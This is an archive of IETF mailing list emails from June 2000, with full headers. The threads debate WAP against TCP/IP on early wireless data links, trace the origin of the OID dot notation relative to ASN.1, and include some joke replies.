I have trouble separating rms from GNU from FSF too.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>








From owner-ietf-outbound  Thu Jun 22 18:30:43 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA16755
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 18:30:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA16668
	for <ietf@ietf.org>; Thu, 22 Jun 2000 18:20:13 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id AAA23203;
	Fri, 23 Jun 2000 00:20:09 +0200
Message-Id: <4.3.2.7.2.20000623000206.02eaecb0@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 23 Jun 2000 00:06:42 +0200
To: <bkumar@ennovatenetworks.com>, <ietf@ietf.org>
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: RE: WAP and IP
In-Reply-To: <019101bfdc60$03e873c0$d001010a@tst.ennovatenetworks.com>
References: <39512E1E.88CF97AA@acm.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 11:39 22.06.2000 -0400, Brijesh Kumar wrote:
>and I noticed that packet loss could be as much as 3 %. CDPD
>modem that I used gave me about 1100 byte throughput using TCP (well,
>half the channel went in framing overheads of the MDLP and over the
>air protocol, and TCP slow starts.). With these kind of losses TCP
>throughput tanks!

this is the kind of TCP throughput that European networks were seeing to 
the US throughout large segments of the 80s and early 90s.

I've transferred large mail batches over UUCP under 20% packet loss 
conditions. That's when TCP gets kind of unusable.

>Of course some current RF medium such as ReFLEX network can't
>run TCP because many devices need to compete simultaneously for a
>channel and continuous allocation of channel is not guaranteed.

maybe it can't, but not for that reason.
Remember ALOHAnet, and that you don't have guaranteed continuous allocation 
of channel on an Ethernet.

>Add to
>that even if there was enough bandwidth, small screen's on some of the
>today's devices can't meaningfully display all contents of modern web
>sites.

Neither can Lynx, a popular text-mode browser.

The fact is that the Internet was developed *in* and *for* the bandwidth 
and display capabilities that WAP currently is claiming to be designed for.
It just scaled well.

                        Harald


                 Harald

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Thu Jun 22 19:20:49 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA17212
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 19:20:03 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA17143
	for <ietf@ietf.org>; Thu, 22 Jun 2000 19:10:15 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id RAA15677
	for ietf@ietf.org  env-from <vjs>;
	Thu, 22 Jun 2000 17:10:16 -0600 (MDT)
Date: Thu, 22 Jun 2000 17:10:16 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200006222310.RAA15677@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: WAP and IP
X-Loop: ietf@ietf.org

> From: Harald Tveit Alvestrand <Harald@Alvestrand.no>

> ...
> >Add to
> >that even if there was enough bandwidth, small screen's on some of the
> >today's devices can't meaningfully display all contents of modern web
> >sites.
>
> Neither can Lynx, a popular text-mode browser.
>
> The fact is that the Internet was developed *in* and *for* the bandwidth 
> and display capabilities that WAP currently is claiming to be designed for.
> It just scaled well.


That bears repeating, although few of the WAP enthusiasts and other
advocates of fix TCP for QOS and modern radio telephone links will hear.

Some of us remember that TCP was commonly and productively used over links
that were slower than the WAP targets and with loss rates almost as bad.
Do you remember SLIP and later PPP over 1200 to 9600 bit/sec non-error
correcting or even error-detecting telephone modems?  There were also the
activities that made KA9Q famous involving radio links much slower and
with worse losses than WAP enthusiasts fear.  I don't suppose they know
or care about the connection between KA9Q and the Phil Karn who recently
wrote here about WAP.

The notion of an automagic converter to 60x80 resolution for almost
any of web pages I see daily says all that needs to be said about WAP
outside the corridors of the telephants, and since the telphants are
saying it, the rest of us needn't belabor it.  To be convinced, read
the non-technical press, such as that gushy, non-technical technophile's
weekly column in Thursday's "Wall Street Journal."  (oops--I see
today's column was written by a stand-in...nevertheless)

Still, all of this talk about WAP is irrelevant on the main IETF list.
The IETF is to WAP as the ISO or ITU is to TCP, or if you prefer, as
the IETF was to TP4.  Only moribund standards organizations have the
time and energy to spare for critiques of the fun and games in other
standards outfits and industry consortia.  WAP will fail on its own
merits and without the let, leave, or hindrance of the IETF.


Vernon Schryver    vjs@rhyolite.com

P.S.  who coined "telephant"?



From owner-ietf-outbound  Thu Jun 22 19:30:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA17309
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 19:30:03 -0400 (EDT)
Received: from central.ulcc.ac.uk (exim@central.ulcc.ac.uk [193.63.88.11])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA17240
	for <ietf@ietf.org>; Thu, 22 Jun 2000 19:21:25 -0400 (EDT)
Received: from b074.ds.ulcc.ac.uk ([128.86.252.74])
	by central.ulcc.ac.uk with smtp (Exim 2.12 #1)
	id 135GHm-0000qR-00; Fri, 23 Jun 2000 00:21:26 +0100
Received: by B074.ds.ulcc.ac.uk with Microsoft Mail
	id <01BFDCA7.ECF399E0@B074.ds.ulcc.ac.uk>; Fri, 23 Jun 2000 00:13:58 +0100
Message-ID: <01BFDCA7.ECF399E0@B074.ds.ulcc.ac.uk>
From: Peter Furniss <p.furniss@mailbox.ulcc.ac.uk>
To: "'ietf@ietf.org'" <ietf@ietf.org>,
        "'Michael Mealling'"
	 <michael@bailey.dscga.com>
Subject: RE: Where is the OID "dot convention" spelled out?
Date: Fri, 23 Jun 2000 00:12:48 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id TAA17240
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Michael Mealling sent :

> For all the ASN.1 folks out there:
> 
> I'm in the midst of writing up the OID URN namespace document 
> (see http://www.ietf.org/internet-drafts/draft-mealling-oid-urn-00.txt)
> and it has come to my attention that none of the ASN.1 standards 
> define the dot-notation that we use in all sorts of RFCs. I'm specifically
> referring to the practice of inserting dots in between each arc as in:
> 1.3.6.1.4.1
> 
> Is anyone aware if this is actually spelled out somewhere? I don't
> have the newest ASN.1 docs in front of me so if the're in there
> a page reference would be great.

It is an IETF convention, not one defined in the ASN.1 standards. It is used at least as early as RFC 1157 (snmp), which refers to "the familiar dot notation" - familiar, I'd assumed, in the dot notation of IP addresses. (which seems to be first mentioned in RFC 790, though it says it was already in use then (and had leading zeros)
 
The ASN.1 standards use spaces between the fields and {braces} round the whole lot in text representations. They also use name(number) to identify what the fields are, and the first part of a text representation can also be an assigned asn.1 value (so a whole subtree can be specified without repeating the value of the root all over the place)


Peter Furniss
ISO/IEC JTC1 OSI Maintenance Rapporteur (on behalf of BSI)
OSI Maintenance website: http://www.furniss.co.uk/maint




From owner-ietf-outbound  Thu Jun 22 21:10:46 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA18155
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 21:10:01 -0400 (EDT)
Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.121])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA18132
	for <ietf@ietf.org>; Thu, 22 Jun 2000 21:09:47 -0400 (EDT)
Received: from 157.54.9.108 by mail5.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 22 Jun 2000 18:07:27 -0700 (Pacific Daylight Time)
Received: by INET-IMC-05 with Internet Mail Service (5.5.2651.58)
	id <NGX8QFNV>; Thu, 22 Jun 2000 18:07:27 -0700
Message-ID: <2E3FA0558747934A8F753CC533A3F6DF01FF578B@red-msg-24.redmond.corp.microsoft.com>
From: Christian Huitema <huitema@microsoft.com>
To: "'Peter Furniss'" <p.furniss@mailbox.ulcc.ac.uk>,
        "'ietf@ietf.org'"
	 <ietf@ietf.org>,
        "'Michael Mealling'" <michael@bailey.dscga.com>
Subject: RE: Where is the OID "dot convention" spelled out?
Date: Thu, 22 Jun 2000 18:07:24 -0700
X-Mailer: Internet Mail Service (5.5.2651.58)
X-Loop: ietf@ietf.org

The notation of OID strings as 1.3.6.1.4.1 started appearing in the ISODE
ASN.1 compiler, in the late 80's. It was not part of the ASN.1 standard; in
fact, ASN.1 defines its own set of format, that can mix numbers and
litterals. In ASN.1, this was called a "value notation." A standard ASN.1
textual representation would have been, for example, {1 3 6 1 4 1}, or {1 3
6 foo(1) bar(4) 1}, as in
	fooBar OBJECT IDENTIFIER ::= {1 3 6 foo(1) bar(4) 1}
Why the ASN.1 representation never really caught up in user interfaces is
left as an exercize for the reader...

> -----Original Message-----
> From: Peter Furniss [mailto:p.furniss@mailbox.ulcc.ac.uk]
> Sent: Thursday, June 22, 2000 4:13 PM
> To: 'ietf@ietf.org'; 'Michael Mealling'
> Subject: RE: Where is the OID "dot convention" spelled out?
> 
> 
> Michael Mealling sent :
> 
> > For all the ASN.1 folks out there:
> > 
> > I'm in the midst of writing up the OID URN namespace document 
> > (see 
> http://www.ietf.org/internet-drafts/draft-mealling-oid-urn-00.txt)
> > and it has come to my attention that none of the ASN.1 standards 
> > define the dot-notation that we use in all sorts of RFCs. 
> I'm specifically
> > referring to the practice of inserting dots in between each 
> arc as in:
> > 1.3.6.1.4.1
> > 
> > Is anyone aware if this is actually spelled out somewhere? I don't
> > have the newest ASN.1 docs in front of me so if the're in there
> > a page reference would be great.
> 
> It is an IETF convention, not one defined in the ASN.1 
> standards. It is used at least as early as RFC 1157 (snmp), 
> which refers to "the familiar dot notation" - familiar, I'd 
> assumed, in the dot notation of IP addresses. (which seems to 
> be first mentioned in RFC 790, though it says it was already 
> in use then (and had leading zeros)
>  
> The ASN.1 standards use spaces between the fields and 
> {braces} round the whole lot in text representations. They 
> also use name(number) to identify what the fields are, and 
> the first part of a text representation can also be an 
> assigned asn.1 value (so a whole subtree can be specified 
> without repeating the value of the root all over the place)
> 
> 
> Peter Furniss
> ISO/IEC JTC1 OSI Maintenance Rapporteur (on behalf of BSI)
> OSI Maintenance website: http://www.furniss.co.uk/maint
> 
> 



From owner-ietf-outbound  Thu Jun 22 22:50:49 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA20653
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 22:50:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA20630
	for <ietf@ietf.org>; Thu, 22 Jun 2000 22:45:57 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200006230241.LAA25228@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id LAA25228; Fri, 23 Jun 2000 11:40:48 +0859
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
In-Reply-To: <20000622155856B.magda@netinsight.se> from Magnus Danielson at "Jun
 22, 2000 03:58:56 pm"
To: Magnus Danielson <magda@NETINSIGHT.SE>
Date: Fri, 23 Jun 2000 11:40:46 +0859 ()
CC: francis@ecal.com, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

> > Bill Manning wrote:
> > 
> > >         And the draft on IP over seismic waves is due any day now.
> > 
> > Security Considerations: since the most effective way to generate seismic
> > waves is with a nuclear device, users of this protocol can expect to be
> > secured by their governments for a very long time.
> 
> This sounds like a protocol which would not run popular in California or else
> they will communicate themselfs of the US west coast. Also, isn't the long
> range devices under international non-spread agreements? Some implementations
> is certainly under strict legal control due to their technology.
> 
> Will the draft cover the usage of Modified Time Interval Encoding (MTIE)?

The draft should also cover IP over Tsunami.

							Masataka Ohta



From owner-ietf-outbound  Fri Jun 23 00:50:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA22013
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 00:50:02 -0400 (EDT)
Received: from meter.eng.uci.edu (root@meter.eng.uci.edu [128.200.85.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21963
	for <ietf@ietf.org>; Fri, 23 Jun 2000 00:44:51 -0400 (EDT)
Received: from newport.ece.uci.edu (newport.ece.uci.edu [128.200.61.6]) by meter.eng.uci.edu (8.9.3/) with ESMTP id VAA01856; Thu, 22 Jun 2000 21:44:46 -0700 (PDT)
Received: from localhost (miyer@localhost) by newport.ece.uci.edu (8.9.3/) with ESMTP id VAA26308; Thu, 22 Jun 2000 21:44:40 -0700 (PDT)
Date: Thu, 22 Jun 2000 21:44:39 -0700 (PDT)
From: Mahadevan Iyer  <miyer@ece.uci.edu>
To: Brijesh Kumar <bkumar@ennovatenetworks.com>
cc: ietf@ietf.org
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
In-Reply-To: <01a001bfdc7e$8e4d8be0$d001010a@tst.ennovatenetworks.com>
Message-ID: <Pine.SOL.4.05.10006222142330.26216-100000@newport.ece.uci.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


Probably, there is some universe out there made of AnTi-Matter and where
anti-packets are mostly routed using anti-IP, or in other words...ATM.
:)



On Thu, 22 Jun 2000, Brijesh Kumar wrote:

> 
> Chuck writes,
> 
> > It's my understanding that disturbances in The Force
> > were actually routed  using an ancient precursor to IP.
> >
> I don't know about it, but the myth goes that ET communicated with his
> folks using IP :-). The captured packet trace is
> "UndecodableDatalink:IPheader:TCPheader:"ET go home""
> 
> Cheers,
> 
> --brijesh
> 



From owner-ietf-outbound  Fri Jun 23 01:30:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id BAA25773
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 01:30:02 -0400 (EDT)
Received: from duet.duettech.com (mail.policyone.com [63.199.81.149])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA24322
	for <ietf@ietf.org>; Fri, 23 Jun 2000 01:20:49 -0400 (EDT)
Received: (from root@localhost)
	by duet.duettech.com (8.8.8/8.8.8) id WAA03188
	for <ietf@ietf.org>; Thu, 22 Jun 2000 22:20:47 -0700 (PDT)
Received: from snt002(199.172.181.2) by duet.duettech.com via smap (V2.1)
	id xma003182; Thu, 22 Jun 00 22:20:24 -0700
Received: from duettech.com ([199.172.183.52])
	by casnt.ca.duettech.com (8.9.0/8.9.0) with SMTP id WAA24346
	for <ietf@ietf.org>; Thu, 22 Jun 2000 22:23:29 -0700 (PDT)
Received: from srinagar.policyone.com by  duettech.com (SMI-8.6/SMI-4.1-S&T)
	id KAA13510; Fri, 23 Jun 2000 10:51:56 +0530
Alert: snt026
Received: from matiz by srinagar.policyone.com (SMI-8.6/SMI-4.1-iS&T)
        id KAA22037; Fri, 23 Jun 2000 10:52:44 +0530
From: "Ashish Sood" <asood@ipolicynet.com>
To: <ietf@ietf.org>
Cc: <cpsingh@policyone.com>
Subject: RE: WAP and IP
Date: Fri, 23 Jun 2000 10:51:16 +1000
Message-ID: <NEBBKFBGKMPEINGCPIFKMEEICBAA.asood@policyone.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 1 (Highest)
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: High
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <019101bfdc60$03e873c0$d001010a@tst.ennovatenetworks.com>
Sensitivity: Private
X-Message-Flag: Follow up
Disposition-Notification-To: "Ashish Sood" <asood@policyone.com>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



-----Original Message-----
From: Brijesh Kumar [mailto:bkumar@ennovatenetworks.com]
Sent: Friday, June 23, 2000 1:39 AM
To: ietf@ietf.org
Subject: RE: WAP and IP


There were quite lot of responses to my mail on this topic so here is
what I have to say. It is hard to defend the WAP as only possible
solution or the most elegant solution for any one. Though in the past
few years I spent quite lot of time thinking about how to make data
applications run with little change on different wireless technologies
(that includes CDPD, DataTECH (aka, ARDIS),  GPRS, FLEX/ReFLEX
messaging systems, GSM/CDMA - IWUs, and of course  how to use SMS more
usefully). I am no longer concerned whether WAP succeeds, or is
replaced by something else. I believe that quite lot of misgivings
about WAP comes from the people who only take a partial view of the
problems - that is if you put TCP and IP magically on today's wireless
devices than every thing will be hunky-dory. Wrong. Let us restrict
our discussion to what is *CURRENTLY available rather than the next
generation networks* (note emphasis here).

RF spectrum is pre-allocated, channel size and number of available
channels to each carrier are pre-defined, cell channel configurations
are difficult to change, and all communication has to take place
within these constraints. If you ignore this reality, there is nothing
to discuss because than we are talking on imaginary planes.

Let us take case of a CDPD device that has a IP address. CDPD has one
of the largest coverage in US and is geared for data communication.
Now CDPD works at 19.2 Kbps, and uses spare capacity from AMPs
channel, and when no channel is available that a device looks for
voice gaps in other channels to send data. I measured losses of a CDPD
channel many many years ago (using a MDIS for which I wrote the code
;-)), and I noticed that packet loss could be as much as 3 %. CDPD
modem that I used gave me about 1100 byte throughput using TCP (well,
half the channel went in framing overheads of the MDLP and over the
air protocol, and TCP slow starts.). With these kind of losses TCP
throughput tanks!. So we need a wireless medium aware version of TCP
or some hacks for TCP to be efficient under losses (see relevant
literature). Also note quite lot of communication between wireless
device and the network happens in the  background without a user being
aware of it. So he can turn off his device any time, or remove its
batteries to clean the nodes. I believe, TCP apps don't take this
behaviour very kindly :-).

Now for a moment forget about allocating IP addresses to 60 million
plus cellular phones and 20 millions or so other wireless devices in
US (I may be wrong in these numbers by millions). IP with NAT is not a
true solution, as it is not possible to initiate communication between
two end points without a proxy mediator, or unless the address of the
one of the end points is fixed, and known to other party.

Now a typical web page with all its glorious graphics is about 50-400
Kbytes. Just compute how many seconds it will take to load on
currently available wireless channel speeds. Mail enclosures can be in
Megabytes. Faxes can be even lot larger. Let us assume that a cellular
network has some rich techno folks that are willing to pay $0.50 per
minute to browse web using cellular modems. But the longer a customer
stays, the service is being degraded to other customers in the cell as
channels are being occupied by a single customer. Is it good make many
customers happy, or bother about one rich online junkie? Therefore,
there is a clear CURRENT need to restrict amount of information from
over all system point of view, even though some of the customers may
be able to pay for it.

And also note that not all mass marketed devices have memory to
implement TCP/IP in all its glory or store mammoth size Web pages or
email locally on the device. When Palm pilot with 16 Mbytes with built
is microphone and speaker will sell for $39.95, that will be different
case. Of course some current RF medium such as ReFLEX network can't
run TCP because many devices need to compete simultaneously for a
channel and continuous allocation of channel is not guaranteed. Add to
that even if there was enough bandwidth, small screen's on some of the
today's devices can't meaningfully display all contents of modern web
sites. So why bother delivering huge graphics and mail enclosures to
these devices. That decision requires some gateway/filters whether WAP
or any other type between wireless and wired side.

As discussed above, there are many constraints to deal with.
Therefore, even though WAP has many problems and perhaps may not be
needed when devices become more powerful and have full implementation
of TCP/IP. It is unlikely even then that wireless channel bandwidth
will *magically become plentiful for ALL*. I don't think WAP is
closing that route for ever, and better channel speeds and more
powerful devices, will make use of WAP on some networks undesirable.
However, note that many people are still doubtful if US carriers will
be able to move from current TDMA networks to the next generation UMTS
in the very near future due to spectrum allocation problems.

Cheers,

--brijesh
(my personal views only)



From owner-ietf-outbound  Fri Jun 23 02:46:54 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA04725
	for ietf-outbound.10@ietf.org; Fri, 23 Jun 2000 02:46:37 -0400 (EDT)
Received: from terra.telestet.gr (terra.telestet.gr [194.219.149.99])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA04662
	for <ietf@ietf.org>; Fri, 23 Jun 2000 02:33:14 -0400 (EDT)
Received: from [192.168.2.2]
	(HELO localhost)
	by terra.telestet.gr (AltaVista Mail V2.0J/2.0J BL25J listener)
	id 0000_0053_3953_037a_733d;
	Fri, 23 Jun 2000 09:28:10 +0300
Received: by mail.telestet.gr with Internet Mail Service (5.5.2650.21)
	id <NLHZQ7QQ>; Fri, 23 Jun 2000 09:31:21 +0300
Message-ID: <6ADD5A0DF6B1D31193430090279A2A08D79944@mail.telestet.gr>
From: TSIGARIDAS PANAGIOTIS <P.TSIGARIDAS@telestet.gr>
To: Christian Huitema <huitema@microsoft.com>,
        "'Peter Furniss'"
	 <p.furniss@mailbox.ulcc.ac.uk>,
        "'ietf@ietf.org'" <ietf@ietf.org>,
        "'Michael Mealling'" <michael@bailey.dscga.com>
Subject: RE: Where is the OID "dot convention" spelled out?
Date: Fri, 23 Jun 2000 09:31:17 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFDCDC.A517EC2C"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFDCDC.A517EC2C
Content-Type: text/plain;
	charset="iso-8859-1"

Right,

OID string representation is not part of the ASN.1 languange specification.
ASN.1 is used for specification of protocols, mostly in OSI, and ITU-T
standards. 
I think you should take a look at the RFCs dealing with string
representation syntaxes. 
In particular RFCs related to X.500 and LDAP technology.

Panagiotis Tsigaridas

IT Architecture Manager




-----Original Message-----
From: Christian Huitema [mailto:huitema@microsoft.com]
Sent: Friday, June 23, 2000 4:07 AM
To: 'Peter Furniss'; 'ietf@ietf.org'; 'Michael Mealling'
Subject: RE: Where is the OID "dot convention" spelled out?


The notation of OID strings as 1.3.6.1.4.1 started appearing in the ISODE
ASN.1 compiler, in the late 80's. It was not part of the ASN.1 standard; in
fact, ASN.1 defines its own set of format, that can mix numbers and
litterals. In ASN.1, this was called a "value notation." A standard ASN.1
textual representation would have been, for example, {1 3 6 1 4 1}, or {1 3
6 foo(1) bar(4) 1}, as in
	fooBar OBJECT IDENTIFIER ::= {1 3 6 foo(1) bar(4) 1}
Why the ASN.1 representation never really caught up in user interfaces is
left as an exercize for the reader...

> -----Original Message-----
> From: Peter Furniss [mailto:p.furniss@mailbox.ulcc.ac.uk]
> Sent: Thursday, June 22, 2000 4:13 PM
> To: 'ietf@ietf.org'; 'Michael Mealling'
> Subject: RE: Where is the OID "dot convention" spelled out?
> 
> 
> Michael Mealling sent :
> 
> > For all the ASN.1 folks out there:
> > 
> > I'm in the midst of writing up the OID URN namespace document 
> > (see 
> http://www.ietf.org/internet-drafts/draft-mealling-oid-urn-00.txt)
> > and it has come to my attention that none of the ASN.1 standards 
> > define the dot-notation that we use in all sorts of RFCs. 
> I'm specifically
> > referring to the practice of inserting dots in between each 
> arc as in:
> > 1.3.6.1.4.1
> > 
> > Is anyone aware if this is actually spelled out somewhere? I don't
> > have the newest ASN.1 docs in front of me so if the're in there
> > a page reference would be great.
> 
> It is an IETF convention, not one defined in the ASN.1 
> standards. It is used at least as early as RFC 1157 (snmp), 
> which refers to "the familiar dot notation" - familiar, I'd 
> assumed, in the dot notation of IP addresses. (which seems to 
> be first mentioned in RFC 790, though it says it was already 
> in use then (and had leading zeros)
>  
> The ASN.1 standards use spaces between the fields and 
> {braces} round the whole lot in text representations. They 
> also use name(number) to identify what the fields are, and 
> the first part of a text representation can also be an 
> assigned asn.1 value (so a whole subtree can be specified 
> without repeating the value of the root all over the place)
> 
> 
> Peter Furniss
> ISO/IEC JTC1 OSI Maintenance Rapporteur (on behalf of BSI)
> OSI Maintenance website: http://www.furniss.co.uk/maint
> 
> 

------_=_NextPart_001_01BFDCDC.A517EC2C
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2650.12">
<TITLE>RE: Where is the OID &quot;dot convention&quot; spelled =
out?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Right,</FONT>
</P>

<P><FONT SIZE=3D2>OID string representation is not part of the ASN.1 =
languange specification.</FONT>
<BR><FONT SIZE=3D2>ASN.1 is used for specification of protocols, mostly =
in OSI, and ITU-T standards. </FONT>
<BR><FONT SIZE=3D2>I think you should take a look at the RFCs dealing =
with string representation syntaxes. </FONT>
<BR><FONT SIZE=3D2>In particular RFCs related to X.500 and LDAP =
technology.</FONT>
</P>

<P><FONT SIZE=3D2>Panagiotis Tsigaridas</FONT>
</P>

<P><FONT SIZE=3D2>IT Architecture Manager</FONT>
</P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Christian Huitema [<A =
HREF=3D"mailto:huitema@microsoft.com">mailto:huitema@microsoft.com</A>]<=
/FONT>
<BR><FONT SIZE=3D2>Sent: Friday, June 23, 2000 4:07 AM</FONT>
<BR><FONT SIZE=3D2>To: 'Peter Furniss'; 'ietf@ietf.org'; 'Michael =
Mealling'</FONT>
<BR><FONT SIZE=3D2>Subject: RE: Where is the OID &quot;dot =
convention&quot; spelled out?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>The notation of OID strings as 1.3.6.1.4.1 started =
appearing in the ISODE</FONT>
<BR><FONT SIZE=3D2>ASN.1 compiler, in the late 80's. It was not part of =
the ASN.1 standard; in</FONT>
<BR><FONT SIZE=3D2>fact, ASN.1 defines its own set of format, that can =
mix numbers and</FONT>
<BR><FONT SIZE=3D2>litterals. In ASN.1, this was called a &quot;value =
notation.&quot; A standard ASN.1</FONT>
<BR><FONT SIZE=3D2>textual representation would have been, for example, =
{1 3 6 1 4 1}, or {1 3</FONT>
<BR><FONT SIZE=3D2>6 foo(1) bar(4) 1}, as in</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>fooBar =
OBJECT IDENTIFIER ::=3D {1 3 6 foo(1) bar(4) 1}</FONT>
<BR><FONT SIZE=3D2>Why the ASN.1 representation never really caught up =
in user interfaces is</FONT>
<BR><FONT SIZE=3D2>left as an exercize for the reader...</FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Peter Furniss [<A =
HREF=3D"mailto:p.furniss@mailbox.ulcc.ac.uk">mailto:p.furniss@mailbox.ul=
cc.ac.uk</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Thursday, June 22, 2000 4:13 PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: 'ietf@ietf.org'; 'Michael Mealling'</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: RE: Where is the OID &quot;dot =
convention&quot; spelled out?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Michael Mealling sent :</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; For all the ASN.1 folks out there:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I'm in the midst of writing up the OID URN =
namespace document </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; (see </FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-mealling-oid-urn-00.tx=
t" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-mealling-oid=
-urn-00.txt</A>)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; and it has come to my attention that none =
of the ASN.1 standards </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; define the dot-notation that we use in all =
sorts of RFCs. </FONT>
<BR><FONT SIZE=3D2>&gt; I'm specifically</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; referring to the practice of inserting =
dots in between each </FONT>
<BR><FONT SIZE=3D2>&gt; arc as in:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 1.3.6.1.4.1</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Is anyone aware if this is actually =
spelled out somewhere? I don't</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; have the newest ASN.1 docs in front of me =
so if the're in there</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; a page reference would be great.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; It is an IETF convention, not one defined in =
the ASN.1 </FONT>
<BR><FONT SIZE=3D2>&gt; standards. It is used at least as early as RFC =
1157 (snmp), </FONT>
<BR><FONT SIZE=3D2>&gt; which refers to &quot;the familiar dot =
notation&quot; - familiar, I'd </FONT>
<BR><FONT SIZE=3D2>&gt; assumed, in the dot notation of IP addresses. =
(which seems to </FONT>
<BR><FONT SIZE=3D2>&gt; be first mentioned in RFC 790, though it says =
it was already </FONT>
<BR><FONT SIZE=3D2>&gt; in use then (and had leading zeros)</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; The ASN.1 standards use spaces between the =
fields and </FONT>
<BR><FONT SIZE=3D2>&gt; {braces} round the whole lot in text =
